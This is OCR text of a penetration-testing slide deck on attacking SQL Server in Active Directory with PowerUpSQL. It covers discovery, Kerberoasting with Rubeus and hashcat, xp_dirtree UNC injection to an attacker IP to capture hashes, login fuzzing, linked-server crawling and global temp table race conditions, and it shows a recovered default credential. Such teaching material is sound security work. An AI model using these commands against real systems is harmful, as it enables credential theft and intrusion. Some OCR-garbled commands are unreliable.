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PRESENTATION OVERVIEW

5 Reasons to target SQL Server

4 Common Entry Points

3 Common Privilege Escalation Technigues
2 Examples of Temporary Table Abuse

1 Evil SQL Client (ESC) console application (msbuild in line task execution)
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WHY TARGET SQL SERVER?

17 SQL Servers exist in almost every enterprise environment we see.

27 SQL Servers can be blindly discovered quickly in Active Directory environments,

3/ SQL Servers have trust relationships with the OS and Active Directory.

4] Exploitable default configurations are incredibly common.

>/ Exploitable weak configurations are incredibly common.
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INTRODUCTION TO

PowerShell tool that can be used to inventory, audit, and exploit weak
SQL Server configurations on scale in AD environments.

It also supports a lot of post-exploitation functionality that covers the Kill
chain...like Active Directory recon.

PowerUpSQL

=0

N
Initial Defense Privilege Lateral Data Command
. . AD Recon : i
Access Evasion Escalation Movement Targeting Execution
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S NETSPI

INTRODUCTION TO

WWW.POWERUPSQL.COM

« Setup instructions
 Cheat sheets
* Code templates
* Function documentation
* Links to:

- Blogs

- Presentations

- Videos

) Home . NetSPI/PowsrUpSOLWI X+

& > C @ nhtips//github.com/NetSPl/PowerUpSQl fwiki

PowerUpSQL | DISCOVER

m— |nom
s ® |expLorr

| A PowerShell Toolkit for Attacking SQL Server

The PowerUpSQL medule includes functions that support SQL
Server discovery, auditing for common weak cenfigurations, and
privilege escalation on scale. It is intended to be used during
internal penetration tests and red team engagements. However,
PowerUpSQL also includes many functions that could be used by
administrators to quickly inventory the SQL Servers in their ADS
domain,

Important Note: PowerUpSQL is used for direct attacks against SQL
Server. Currently it does not support SQL Injection. For information
on attacking SQL Server threugh SQL injection check out the
NetSPI SQL Injection Wiki.

PowerUpSQL was designed with six objectives in mind:

» Pages

Introduction s

o Overview
« Download
o Setup

Cheat Sheets

« PowerUpSOL Commands
® Code Templates

® UNC Path Injection

* Connection Strings

® SQL SPN Formats

PowerUpSQL Blogs

o Introduction to PowerUpSQL

o Blindly Discover SQL Server
Instances

« Finding Sensitive Data on
Domain SQL Servers

® Finding Weak Passwords for

* 2075 APR OWASP Video

PowerUpSQL Videos

Discover SQL Server
Instances
Unauthenticated to SQL
Login - Default Passwards

Domain User to SQL
Sysadmin - UNC Injection
SQL Login to Sysadmin-Auto

SQL Login to Sysadmin-
LoginEnum+PwGuess

SQL Login to Sysadmin-Link
Crawling 1

SOL Legin to Sysadmin-Link
Crawling 2

SQL Login to OS Admin-UNC
Path Injection

05 Admin to Sysadmin-
Impersanation

Audit Configurations
Find Sensitive Data
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How do | find SQL Servers in Active Directory environments?

Domain joined SQL Servers register their service accounts in the Service
Principal Name (SPN) property of the user/computer object in Active
Directory.

The SPNs are added to support Kerberos authentication.

Any domain user can query Active Directory for domain computer/user
SPNS.

SQL Servers can be identified by executing LDAP queries for SPNs
containing “MSSQLSvc”.
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Active Directory PowerShell Cmdlet

Get-ADObject -LDAPFilter “(servicePrincipalName=MSSQL*)*
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PowerUpSQL Functions

RN
Get-DomainSpn -DomainController 10.0.0.1 -Username Domain\User -Password Password123!

Get-DomainSpn -SpnService MSSQL

Get-SQLInstanceDomain —Verbose
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COMMON ENTRY POINTS

1/ Domain users can log into SQL Server Express instances by default. Yep.

2/ Domain users can log into SQL Server instances due to excessive privileges.

3] Default passwords are configured for logins configured by applications.

4/ Weak service account passwords that can be guessed online/offline.



) TROOPERS | Common Entry Points S NETSPI

EXCESSIVE PRIVILEGES

Explicit login privileges Windows Operating System
provided to domain users by
sysadmins or default

application installations. BUILTIN\Users

SQL Server Express

Database 1

SQL Server Express
inherently includes domain Table 2 Table 2
users in the public role
when installed on a domain
system.
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EXCESSIVE PRIVILEGES

EXpI?Cit login privil_eges Windows Operating System
provided to domain users by
sysadmins or default

application installations. BUILTIN\Users

NT AUTHORITY\Authenticated
Database 1 Users

SQL Server Express

SQL Server Express
inherently includes domain Table 2 Table 2
users in the public role
when installed on a domain
system.
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EXCESSIVE PRIVILEGES

EXpI?Cit login privil_eges Windows Operating System
provided to domain users by
sysadmins or default

application installations. BUILTIN\Users

NT AUTHORITY\Authenticated
Database 1 Users

SQL Server Express

SQL Server Express
inherently includes domain Table 2 fable 2 T
users in the public role (EVERYONE)
when installed on a domain
system.
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PowerUpSQL Functions: Finding Excessive Privileges

Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded —Verbose

Get-SQLInstanceDomain | Get-SQLServerinfoThreaded —Verbose
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mxnnucuoc.\l -\orbon

estThr e\*eJ Verbose -Threads 10

nceDomain ~Verbos
erbose -~Threads 10
essible”)

nfo -verbose
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DEFAULT APPLICATION LOGINS

Lots of commercial applications commonly use SQL Server.

Many of those applications create default logins in SQL Server.

Those logins often have default passwords that don’t get changed.

Many of those applications create application specific SQL Server instance
names.

Those instance names can be quickly identified via LDAP queries for SPNs,
then we can use Get-SQLServerLoginDefaultPw to identify defaults.
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DEFAULT APPLICATION LOGINS:

PS C:\> Get-SQLInstanceDomain -Verbose | Get-SQLServerLoginDefaultP These Instance names
VERBOSE: Grabbing SPNs from the domain for SQL Servers (MSSQL¥*)...

VERBOSE: Parsing SQL Server instances from SPNs... are too general fOI"
VERBOSE: 10 instances were found. c c
VERBOSE : mssq12014 demo. 'Ioca1 1433 : No named instang@*foung defaUIt Iogln targetmg
VERBOSE SRS Rzl ~ o™ 1nstang€ match f
VERBOSE mssq1srv01 demo 10ca1\SQLSERVER2012 “®No instgMMCe match fotrer
VERBOSE - vOS. uemo. RVERZO0S . No igslance match found.
VERBOSE : mssq12k5 demo 1oca1 1433 : No named instgMice found.
VERBOSEg Od—s 5020 ; nstance found.
VERBOSEE MSSQLSRV04 demo -|OC&-|\SQLSERVER2014 . i

VERBOSE - T . ed instance

'Fnllhfl

. MSSQLSRVO04\BOSCHSQL : Confirmed instance match.
. MSSQLSRV04\BOSCHSQL & Confirmed default credentials - sa/RPSsql112345

Computer : MSSQLSRV04 ipr
Instance @ MSSQLSRVO4\BOSCHSQL Software specific instance

Username . s5a

Password  : RPSsq112345 name can be used for
EEURREITT e targeting default logins
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Administrator; Windows PowerShell ISE [=[o] x|

List local
SQL Server
Instances
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WEAK SERVICE ACCOUNT PASSWORDS
Online password guessing — mind the lockout policy!

Kerberoasting

Big thanks to: Tim Medin, Benjamin Delpy, Will Schroeder
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WHAT IS KERBEROASTING?

Kerberoasting is the process of requesting a TGS service ticket for a domain service account (domain account

with a SPN), recovering the ticket from memory, and trying to determine the password of the service account offline by
attempting to decrypt the ticket.

Kerberos ticket-granting service (TGS) service ticket The requesting domain user

can decrypt as intended.

Encrypted with NTLM (RC4) password hash This is thdt is brute
of the service account forced offline. We’'ll know

we guessed the right
password for the domain
Ticket Information ;ervic_e account when the
ticket information decrypts
correctly.

Encrypted with NTLM(RC4) password hash of requesting domain user
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KERBEROASTING ATTACK SUMMARY

COLLECTION

Rubeus.exe kerberoast /outfile:C:\Tem

Rubeus.exe kerberoast /use SQLSVC file:C:\Temp\sglhash.txt

CRACKING
hashcat -m 13100 -a 0 sglhash.txt passwordfile.txt

EXECUTE COMMANDS ON SQL SERVER THAT USE SQLSVC

Invoke-SQLOSCmd -Instance serverl\instancel -username domain\sglsvc -password “Secret!” -Command "Whoami*

https://github.com/GhostPack/Rubeus#kerberoast |  https://hashcat.net/hashcat/
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COMMON PRIVILEGE ESCALATION METHODS

1/ UNC Path Injection + Hash Capture / SMB Relay

2 User Enumeration + Weak Passwords

3/ Linked Server + Excessive Privileges
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UNC PATH INJECTION +

https://github.com/NetSPI/PowerUpSQL/wiki/SQL-Server---UNC-Path-Injection-Cheat-Sheet

By default, the PUBLIC role can leverage 2 stored procs for UNC injection:

xp_dirtree and xp_fileexist

UNC path injection can be used to force the SQL Server service account to
authenticate to the attacker’s system:

xp_dirtree “\\attackerip\file’

Capture or Relay the NetNTLM password hash for the SQL Server service
which often has sysadmin privileges (Inveigh, Responder, etc)

Sysadmins can execute operating system commands via xp_cmdshell
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UNC PATH INJECTION +

Below is the high level process for executing the attack on scale in AD:

1. Locate SQL Servers on the domain via LDAP queries for SQL SPNs

2. Attempt to log into each SQL instance as the current domain user

3. Perform UNC path injection and capture SQL Server service account
password hashes

4. Crack password hashes offline

5. Login into SQL Server and execution OS commands

The Get-SQLServiceAccountPwHashes function can come in handy
Thanks Thomas Elling!



= Administrator: Windows PowerShell ISE

File Edit View Tools Debug Add-ons

= g »

PS C:\> P?i_.ver'UpSQL.psW Inveigh.ps1 | Get-SQLServiceAccountPwHashes.ps1 X

‘Jl author: scott sutherland (@_nullbind),

script name: Get-SQLServiceAccountPwHas
requirements: PowerUpSQL and Inveigh
description: locate domain sql servers, _
example: Get-SQLServiceAccountPwHashes
Note: alt domain user: runas /noprofile

Lo~NOoO VAW

—IFunction Get-SQLServiceAccountPwHashes {
ding()

parameter (Mandatory=3$false)
string]$Username

Pa r(Mandatory=5%false)
Password

N

PowerUpSQL
functions

Completed
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UNC PATH INJECTION +

Make sure your target SQL Server doesn’t check for SMB signing

Target shared SQL Server service accounts

« Service accounts are often configured as sysadmin
« Service accounts are often configured as a local administrator
« Compromise one account = Access to all the SQL Servers that use it
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LOCATING SHARED

Get List of Domain Joined SQL Servers

$SQLServers = Get-SQLInstanceDomain -Verbose

Group Results to Reveal Shared Accounts

$SQLServers | Group-Object domainaccount | Sort-Object count -Descending

List Instances with using Shared Account
$SQLServers | Where-Object domainaccount -Like “SQLSVC”
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ENUMERATING SQL LOGINS

It's common for developers and vendors to create SQL Logins with the
username with weak passwords, but sometimes you don’t know the login
name.

As a |east privilege authenticated user you can blindly enumerate all SQL
Server logins by fuzzing numbers provided to the SUSER_NAME() function.
Those logins can be then be used to guess passwords.

Example:

SELECT SUSER_NAME(1)
SELECT SUSER_NAME(2)
SELECT SUSER_NAME(3)
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ENUMERATING DOMAIN USERS AND GROUPS

Through a similar process you can blindly enumeration domain users using
the DEFAULT_DOMAIN(), SUSER_SID, and SUSER_SNAME functions.

Get Domain
SELECT DEFAULT_DOMAIN() as mydomain;

Get the RID for a Known Group
SELECT SUSER_SID('DEMO\Domain Admins’)

Fuzz RID to Enumeration Users and Groups

SELECT
SUSER_SNAME(0x0105000000000005150000009CC30DD479441EDEB31027D0OF
4010000)
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ENUMERATING LOGINS AND PASSWORD GUESSING

3 Windows Powershel ISE Bl Invoke-SQLAuditWeakLoginPw

File Edit View Tools Debug Add-ons Help
=l o » » > B = |8 =[O & e

1. Blindly enumerates all SQL
logins with least privilege SQL
login

2.  Attempt user name as
password

3. Custom user/password lists
can be provided

Get-SQLFuzzDomainAccount

1. Blindly enumerate domain users
and group associated with the
SQL Server domain with least
privilege SQL login

In1 Col9 o 135%

Completed

F:vi m, = u}:*"' ‘.J + WG 13:3:,’;’;‘16
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LDAP QUERIES

The OLE DB ADSI provide in SQL Server can be used to craft LDAP
qgueries. A nice blog was written by Thomas Elling on the subject.

Specifically, queries can be created using ad-hoc queries (OPENROWSET)
or linked servers (OPENQUERY) without requiring a custom CLR or
extended stored procedure.

PowerUpSQL functions and TSQL templates can be found at:

https://www.powerupsqgl.com

More thanks to Thomas Elling!
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LDAP QUERIES

-‘_’% SQLQuery10.5ql - MSSQLSRVO4\SQLSERVER2014.master (DEMO\Administrator (51))* - Microsoft SQL Server Management Studio (... 2vick Ley

Ad_HOC Query File Edit View Query Project Debug Tools Window Help

. fo-o|@- n-u | Qrewvoey IBBH XIS 2-0 - F |5
example using: ) maie | e pevs = v 338 2| T @G

A Al SOLOuery10.sgl - M...Administrator (51))* ® X

Object Explorer

Connect~ 43 43 ¢ 3B -|EXEC sp_configure 'Ad Hoc Distributed Querj
= (48 MSSOLSRVO4\SOLSERVER2014 (SOL Server 12.0.4100.1 - DEMO\ RECONFIGURE
OPENROWSET | ®&as i

# [ Security

% [ Server Objects

# [ Replication

# [ AlwaysOn High Availability

-- Run with openrowset

- —ISELECT * g
+ [ Management . . .
# [ Integration Services Catalogs SET(A0SNSOORIECT adsd
7l [Th SQL Server Agent "<LDAP://demo.local>; (&(objectCategory=Person) (objectClass=user));name,
146% - 4 b
[ Resutts L:g Messages

adspath
1 Admiristrator ¢ LDAP-//dema local/CN=Administrator CN=Users, DC=dem
2 Glest " LDAP/demo local/CN-Gusst CN-Users DC-demo DCA
3 krbtgt LDAP://dema local \CN=krbtgt CN=Isers, DC=demo,DC=lo. ..
4 salsql LDAP://dema local {CN=sql sql,CN=Users, DC=demo, DCH...
5 appsve LDAP://dema local \CN=appsvc CN=Users, DC=demo.DC=. ..
6 user LDAP://demo local CN=user CN=lsers. DC=demo.DC=local
7 testuser] LDAP://demo local CN=testuser1 CN=Users DC=demo D...
8 testuser? LDAP://demo Jocal CN=testuser2 CN=lsers DC=demo D...

@ Query executed successfully.

MSSOLSRVONSOLSERVER2014 (1... | DEMO\Administrator (51) | master | 00:00:00 | 8 rows

Col 80
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LDAP QUERIES

4. SQLQuery10.sgl - MSSQLSRV04\SQLSERVER2014 master (DEMO\Administrator (51))* - Microsoft SQL Server Management Studia (... Q0ick Launch Pl - B x
LI N ked Server Fle Edit View Query Project Debug Tools Window Help
oo @ -t Wl Dnewaey IBBB| X FTA][2-0 B s Wl A E -

Il
1

L]
%1

example using: == toe s - BE ST TAl0G0]
' Ohbject Explorer A Al SOLOuery10.sgl - M...Administrator (51))* ® X
Connect~ @3 &J ¢ B [useselt=N"Irue’,

= [{§ MSSOLSRVOMSOLSERVER2014 (SOL Server 12.04100.1 - DEMOW @locallogin=NULL,
OPENQUERY | :& gratuser-
[ Security -
[ Server Objects @rmtpassword=NULL
GO

+
+
+ [ Replication

# [ AlwaysOn High Availability
+ [ Management

# [ Integration Services Catalogs
+ [ SQL Server Agent

-- Use openquery
_SFLFCT *
FROM OPENQUERY{[ADSI])'<LDAP;//demo.10cal>3(&(objectCategory:Person)(ob;}
146 % .y >
[ Results

me adspath
i Administrator | L DAP://dema Jocal/CN=Administrator CN=Users, DC=dem
uest LDAP://demo local CN=Guest CH=Users, DC=dema.DC

U;g Messages

krbtgt LDAP://dema local ACN=krbtgt CN=Isers, DC=demo,DC=lo. ..
salsql LDAP://dema local {CN=sql sql,CN=Users, DC=demo, DCH...
appsve LDAP://dema local \CN=appsvc CN=Users, DC=demo.DC=. ..
user LDAP://demo local CN=user CN=sers. DC=demo.DC=local
testuser] LDAP://demo local CN=testuser1 CN=Users DC=demo D...

o w o e W R —

testuser? LDAP://demo Jocal CN=testuser2 CN=lsers DC=demo D...

@ Query executed successfully.

MSSOLSRVOASOLSERVER2014 (1... | DEMONAdministrator (51) | master | 00:00:00 | 8 rows
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LINKED SERVERS +

Linked servers are basically persistent database connections for SQL
Servers. Usually preconfigured with alternative credentials.

Why should | care?

* Move between SQL Servers (lateral movement)

« Impersonate link users without providing credentials (privilege escalation)
« Crawl SQL Server link networks (bypass network security controls)

« We seem misconfigured linked servers in about 50% environments
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LINKED SERVERS +

Identify linked servers:

SELECT * FROM MASTER..SYSSERVERS

Query linked server:

SELECT * FROM OpenQuery([SQLSERVERZ2],'SELECT @@Version’)

PowerUpSQL and the Metasploit modules can also be handy for crawling
and command execution through linked servers.



O TROOPERS | Common Privilege Escalation Methods %3 NETSP!

LINKED SERVERS +

Example of attack path from the
Internet

DMZ

trane

Wt
4
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LINKED SERVERS +

Example of attack path from the
Internet

S NETSPI

Internet

DMZ

\: HVA

W et
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LINKED SERVERS +

Example of attack path from the
Internet

DMZ
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LINKED SERVERS +

Example of attack path from the
Internet

LVA = Low Value Application

Internet

HVA = High Value Application

DMZ

Intranet
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LINKED SERVERS +

Link crawls can result in access to:
* 100s of systems

« 1000s of databases

« Active Directory domains

» |solated & protected networks

« Partner networks via VPN

DMZ Internet

Intranet

Lots of great work done by Antti Rantasaari:
https://blog.netspi.com/how-to-hack-database-links-in-sql-server/



E v Aol 192.168.252.129

Recycle Bin Windows PowerShell ISE
File Edit View Tools Debug Add-ons Help

@ | & &8 x» |9
demo3.ps1 X
PowerUpSQL ] F Import the m _ _
2 Import-Module wer! master\scripts\Get-SqlServerLinkCrawl.psl
# Crawling Links
Get-SqlCrawl -Verbose -Instance MSSQLSRV04.demo. local\SQLSERVER2014 -Export

Select-Object Name Version Sysadmin Path
Format-Table -AutoSize

PS C:\Users\myuser>

Completed

th
X

Start Crawling
SQL Server Links

Ln1 Col1

Windows Server 2012 Standard
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ABUSING TEMPORARY TABLES

1/ Introduction to common approaches

2} Case Study: Vulnerable Agent Job
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WHAT ARE TEMPORARY TABLES IN SQL SERVER?

Similar to regular tables, but intended for temporary use

Stored in the tempdb default database

Devs often use them for temporary data storage and data processing

Create race conditions that can compromise data confidentially and integrity

Occasionally result in code execution opportunities
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WHAT ARE TEMPORARY TABLES IN SQL SERVER?

There are primarily three variations of temporary tables in SQL Server:

Temporary Table Type Scope Scope Description

Table Variable Batch Only accessible within the query batch it's executed in.




O TROOPERS | Case Study: Abusing Temporary Tables %3 NETSP!

WHAT ARE TEMPORARY TABLES IN SQL SERVER?

There are primarily three variations of temporary tables in SQL Server:

Temporary Table Type Scope Scope Description

Table Variable Batch Only accessible within the query batch it's executed in.

Accessible to all query batches within the same active
Local Temporary Table Current Session | connection until the connection is terminated or the table is
explicitly dropped.
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WHAT ARE TEMPORARY TABLES IN SQL SERVER?

There are primarily three variations of temporary tables in SQL Server:

Temporary Table Type Scope Scope Description

Table Variable Batch Only accessible within the query batch it's executed in.

Accessible to all query batches within the same active
Local Temporary Table Current Session | connection until the connection is terminated or the table is
explicitly dropped.

All Sessions Accessible (read/write) to all active connections until
Global Temporary Table there are no references to the table or the table is explicitly

W dropped.
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HOW TEMPORARY TABLES WORK?

Below are some common queries for creating and querying temp tables:

Temporary Table Type Create Query

DECLARE (Q@table_variable TABLE
(Spy_id INT NOT NULL, SpyName | SELECT * FROM

text NOT NULL, RealName text @table variable
NULL) ;

Table Variable
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S NETSPI

HOW TEMPORARY TABLES WORK?

Below are some common queries for creating and querying temp tables:

Temporary Table Type

Table Variable

Create

DECLARE (Q@table_variable TABLE
(Spy_id INT NOT NULL, SpyName
text NOT NULL, RealName text
NULL) ;

Query

SELECT * FROM
@table variable

Local Temporary Table

CREATE TABLE #LocalTempTbl
(Spy id INT NOT NULL, SpyName
text NOT NULL, RealName text
NULL) ;

SELECT * FROM #LocalTempTbl
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S NETSPI

HOW TEMPORARY TABLES WORK?

Below are some common queries for creating and querying temp tables:

Temporary Table Type

Table Variable

Create

DECLARE (Q@table_variable TABLE
(Spy_id INT NOT NULL, SpyName
text NOT NULL, RealName text

NULL) ;

Query

SELECT * FROM
@table variable

Local Temporary Table

CREATE TABLE #LocalTempTbl
(Spy id INT NOT NULL, SpyName
text NOT NULL, RealName text
NULL) ;

S

SELECT * FROM #LocalTempTbl

Global Temporary Table

CREATE ##GlobalTempTbl
(S OT NULL, SpyName
L, RealName text

SELECT * FROM
##GlobalTempTbl




O TROOPERS | Case Study: Abusing Temporary Tables %3 NETSP!

HOW CAN | FIND EXPOSED GLOBAL TEMP TABLES?

% sQLQuery12:ql - MSSQLSRVO4\SQLSERVER2014.master (sa (51))* - Microsoft... Quick Launch P - B X
File Edit View Query Project Debug Tools Window Help

©-0 B~ -2 QNewauey BBHB(XFA|2-C-|&

2| master - | ¥ Erecute Debug % v 35 @ Wl | 37 37 M (R EHED| = s = 3= (45

Privileged User: Review Source Code

Object Explorer SN sQLQuery12:sql - M...14.master (sa (51))* & X |

« Agent Jobs

Connect LR i =ISELECT * +
| @ ({5 MSSQLSRVOA\SQLSERV) FROM tempdb.sys.objects -
o Stored Procedures ® [ MSSQLSRVONSQLSERY WHERE (select len(name) - len(replace(name,'#',''))) > 1
. | |
 DDL Triggers
DML and Logon Triggers
146% ~ 4
ET
name object id  princip: al_id schema_id parent_object id type type_desc create_date
1 [HiGiobaiTempThl | 2133582633 NULL 1 [) U USER_TABLE 20191105 1045002

Unprivileged User: Monitor tempdb

» Global temp table names and
columns
« Global temp table content

MSSQLSRVO4\SQLSERVER2014 (1... ' 53 (51) master | 00:00:00 1 rows

» @ Query executed successfully.
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HOW CAN | FIND EXPOSED GLOBAL TEMP TABLES?

Query tempdb

* View Names

« Global temp tables
don’t always exist for
long

« Limited to point in time

%% SQLQuery13:sql - MSSQLSRVO4\SQLSERVER2014.master (basicuser (59))* - Microsoft SQL Server Managemen.., Cuick Launch Pl = B X
File Edit View Query Project Debug Tools Window Help
©-0[B- -2 WP ANwauey HBBEH| X P2~ -8 |l
252 | master - | ¥ Execute Debug v EE I OGN e EnA

SQLQuefylSJql-M&m(basncusev(i?))' IR SQLQuery12.5ql - M... 14, master (sa (51))* .
Connect~ 47 4] i -- List global temp tables, columns, and column types
® [ MSSQLSRVO4\SQLSERY —SELECT tl.name as 'Table_Name',
@ (B MSSQLSRVOA\SQLSERY t2.name as ‘Column_Name',

t3.name as 'Column_Type',

tl.create_date,

t1l.modify_date,

t1l.parent_object_id
FROM tempdb.sys.objects AS t1
JOIN tempdb.sys.columns AS t2 ON t1.0BJECT_ID = t2.0BJECT_ID
JOIN sys.types AS t3 ON t2.system_type_id = t3.system_type_id
WHERE (select len(tl.name) - len(replace(tl.name,'#','"'))) > 1

create_date modfy_date parent_object id
20191105 10:45:00213  2019-11-0510:45:00213 0
20131105 10:45:00213  2013-11-0510:45:00213 0
2013-11-0510:45:00213  2019-11-0510:45:00213 0

(@ Query executed successfully. MSSQLSRVO4\SQLSERVER2014 (1. basicuser (53) master 000000 3rows
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S NETSPI

HOW CAN | FIND EXPOSED GLOBAL TEMP TABLES?

Query tempdb in Loop

* View Names

« Looping offers better
visibility over time

« Throttle to avoid over
utilizing the CPU ©

& Query canceled.

% SQLQuery13.sql - MSSQLSRVO4\SQLSERVER2014.master (basicuser (59))* - Microsoft SQL Server Managemen... ¢k Launch P - B x
File [Edit View Query Project Debug Tools Window Help
e - B~ o-20 8P| NewQuey [ EBED S| ¥ & 9-< -’ AL
%3 | master - | ¥ Execute Debug viecEd "™ Q&0
SQLQuuy!&sql»Mi.y(basrcuser(”))' R SOLQuery1 - M...14,master (sa (51)) -
Connect~ 47 &2 i -- Loop +
# [ MSSQLSRVO4\SQLSERY -While 1-1 =}
% (&) MSSQLSRVO4\SQLSERY BEGIN
-- List global temp tables, columns, and column types
= SELECT tl.name as 'Table_Name',
t2.name as ‘Column_Name',
t3.name as 'Column_Type',
tl.create_date,
tl.modify_date,
t1l.parent_object_id
FROM tempdb.sys.objects AS t1
JOIN tempdb.sys.columns AS t2 ON t1.0BJECT_ID = t2.0BJECT_ID
JOIN sys.types AS t3 ON t2.system_type_id = t3.system_type_ id
WHERE (select len(tl.name) - len(replace(tl.name,’'#',''))) > 1
Set delay
WaitFor Delay '00:00:01"
EN
146 % - 4 »
3 Resuts |1y Messages |
_ Colrmn_Name  Column_Type  create_date modfy_date parent_object_id -
1 ] " 20191105 104500213 2019-11-05 10:45:00213 0
2 #4GiobalTempThl  SpyName text 2019-11-0510:45:00213 20191105 10:45:00213 0
3 #aGibaTempTdl  ReaiName text 20191105 10:45:00213 20191105 10:45:00213 0
Table_Name Cokumn_Name  Column_Type  create_date modfy_date parent_object_id -

MSSQLSRVO4\SQLSERVER2014 (1...  basicuser (59) | master

00:00:15 27 rows
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S NETSPI

HOW CAN | FIND EXPOSED GLOBAL TEMP TABLES?

Query tempdb in Loop

 View Content

* Race condition results
In a data confidentiality
iIssue

%% sQLQuery13.sgl - MSSQLSRVO4\SQLSERVER2014.master (basicuser (59))* - Microsoft SQL Server Managemen.,.. i<k Launct P - B x

Debug

Tools

Window

Help

File Edit
o -

View Query

Project

3 -

-2 M WP | A Newauey IBBD| X FA|D-C

| =]

%3 | master

Connect~ 47 %3

- | ¥ Execute Debug v v 30 [ 37T DEEED| = = |

Object Explorer MRl SQLQuery13.5ql - MS...er (basicuser (59))° = X [EolKel TP (R

.master (sa (51))°

= -- Monitor contents of all Global Temp Tables

% | MSSQLSRVO4\SQLSERY, -- Loop
% (@ MSSQLSRVO\SQLSERY “wWhile 1-1
— BEGIN =

-- Add delay if required
WaitFor Delay '©:0:1°'

-- Setup variables
DECLARE @mytempname varchar(max)
DECLARE @psmyscript varchar(max)

-- Iterate through all global temp tables
= DECLARE MY_CURSOR CURSOR
FOR SELECT name FROM tempdb.sys.tables WHERE name LIKE
OPEN MY_CURSOR
FETCH NEXT FROM MY_CURSOR INTO @mytempname

‘HH%"

= WHILE

@@FETCH STATUS = ©

D Query canceled.

Ready

1 || Black Widow  Scarlett Johansson
25 1.2 BhanHut  Tom Crise
3|3 Evehn Sat  Angeiina Jolie
4 4 James Bond _ Sean Connery
SpyName RealName
1 "] Black Widow  Scarett Johansson
2 Bhan Hut  Tom Crise o

MSSQLSRVO4\SQLSERVER2014 (1... basicuser (59) master 00:00:15 44 rows

Ln9 Col 37 Ch34 INS
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HOW CAN | FIND EXPOSED GLOBAL TEMP TABLES?

4 SQLQuery13:ql - MSSQLSRVO4\SQLSERVER2014.master (basicuser (59))* - Microsoft SQL Server M:
File Edit View Query Project Debug Tools Window Help

Query tempdb In LOOp e-S(B-o-uMs Aumomwm:i‘.ﬁ&}_%ﬁla 2-C¢-la 25 local - mereEs®-.

97| master < | ¥ Escute Debug ¢ v I3 W | PTG T | 4

SQ(Quary!}.sql-MS..er(bui:um(iQ))' CER SQLQuery12.5q] - M... 14, master (sa (51))* v
Connect~ 43 47 1 -- Loop forever +
« Update Content e gremmersandl | o 1-1

% [{§ MSSQLSRVO4\SQLSERY ZBEGIN

 Race condition results s e s

SELECT * FROM ##GlobalTempTbl

in a data integrity issue -- Update global temp table contents

DECLARE @mycommand varchar(max)

® This Can Iead to COde :i;c:@;ﬁ;?gmzzzd) 'UPDATE t1 SET tl1.SpyName = '‘Inspector Gadget'' FROM ##GlobalTempTbl t
execution under specific
conditions e o

[ Resuts |2y Messages
Seyid SoyNeme  ResiNeme :
Black Widow  Scarett Johanssen

gement Studio (Administrator) /< Launch Y=

1
2 BhanHut  TomCise
3 Evehn Sob  Angeins Jobe
4 JamesBond  Sean Connery
Soy_d [Soame Fealiame
11 Inspactor Gadget  Scadatt Johansson
2

1
2
3
4

1

2 Inspector Gadget  Tom Cnise

3 12 Inspector Gadget  Angeina Jole
4 4 Inspector Gadget  Sean Connery

Spy_id “=sppmeme FESTTE -

4 » 3 Query canceled. MSSQLSRVO4\SQLSERVER2014 (1... basicuser (59) master 00:00:02 256 rows

Ready Ln13 Col1 Ch1 INS
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CASE STUDY: VULNERABLE AGENT JOB -

1/ SQL Agent Job exists that executes TSQL job hourly

2} TSQL job dynamically creates PowerShell command

3/ TSQL job creates global temp table and stores PowerShell command in it

4, TSQL job selects PowerShell command from global temp table

5/ TSQL job executes PowerShell via xp_cmdshell
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S NETSPI

CASE STUDY: VULNERABLE AGENT JOB ATTCK - VIEW NAMES

Query tempdb in Loop

* View Names

« We can see temp tables
being generated with
random names

a7
File Edit View Project Debug Tools Window Help

Q-9 |l -2 M WP D NewQuey D 5|

reite Bikha
Execute Debug

t3.name as 'C
t1.creste_date,
t1.modify_date,

FROM tempdb.
JOIN tempdb.
JoIN : AS t3 ON

-- Set delay

WaitFor Delay '©0:09:01"
END
9%
[ Resuts | [y Messages

4 SQLQuery7.sql - MSSQLSRVO4\SQLSERVER2014.master (basicuser (54))* - Microsoft SQL Server.,.  Quick Launch £ - B x

Object Explorer B 5QLQuery7.sql - MSS..er (basicuser (54))* # X
e o “ -- Loop
amel i WA =while 1-1
@ [ MssaLsrvonsaLSERVIl  Lgeery
= (O [ETEIEEIET =  SELECT tl.name as 'Table Name',
2.name as '

t1.parent_object_id

WHERE (select len(tl.name len 1

Toble_Nome  Cotmn_Name  Column_Type  create_date modiy_date parert_object id
Teble_Name  Comn_Name Column_Type create_date modfy_date parent_object_id

Teble_Name Coumn_Name Column_Type  create_date modfy_date  parert_object_id

‘ ‘ - | | M

AS t1

£2.system_type id - t3.system type i

tl.name, '#","" > 1

R Hiremp800845

modfy_date parent_object_id
2019110708:31:54110 0
1911-0708:31:54.110 0

< » D Query canceled.
Ready

014 (1... | basicuser (54) master 00:00:27 | 4 rows
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CASE STUDY: VULNERABLE AGENT JOB ATTCK -

%% SQLQuery7:sql - MSSQLSRV04\SQLSERVER2014.master (basicuser (54))* - Microsoft SQL Server...  Quick
File Edit View Query Project Debug Tools Window Help

. -8B~ o-2 M| QNewluey HBBEHB| X T |27 -
Query tempdb in Loop e Y e pas @ o B I NGEE]
SQLQueryz;ql-Mss..er(msacum 54" & X

" -- Looj =
Connect- % B Swhile §:1 5%
- [ MSSQLSRVON\SQLSERVI L BEGIN
° VI eW N al I l eS = (B MssaLsRvonsQUSERVIl 5 SELECT t1.name as ‘[rable_Name’, 2
% [ Databases t2.name as ‘Column_Name',
u ® [ Security t3.name as ‘Column_Type',
. We ru n th e q u e ry ag al n R | SENerObjects tlvcre?te_datz,
% 3 Replication t1.modify_date,
% [ AlwaysOn High Ava t1.parent_object_id
- % (23 Management FROM tempdb AS t1
and see different tem o o Fo e kg gy Wy
@ [ SQL Server Agent iy ‘AS t3 ON tZ.syftcm_(y?e_)d t3 syft?mTSyp:_id
WHERE (select len(tl.name len(replace(tl.name,'s", 1
.
tables names with the rros
WaitFor Delay ‘00:00:01"

END

same columns av i

T3 Resuts | ) Messages | _

Table_Name  Column_Name Column_Type create date modfy_date  parent_object_id

Table_Name Column_Name Column_Type cfbate_date modify_date parent_object_id
1 i MylD int 219-11-07 08:34; 20191107 08:34:52.980 0
2 #2emp103913  PsCode varchar 2 20191107 08:34:52980 0
Table_Name Column_Name Column_Type cf parent_object_id
1 MylD int 2 0
2 #22emp103919  PsCode varchar 2 0
Table_Name Column_Name  Column_Type  cf parent_object_id
1} [#etenpll int 3 0
2 H2emp 103918 varchar 2 2019-11-07 08: 0
Tablondk - RN - 5 Azt mndifu Aate namnt nhiart id %
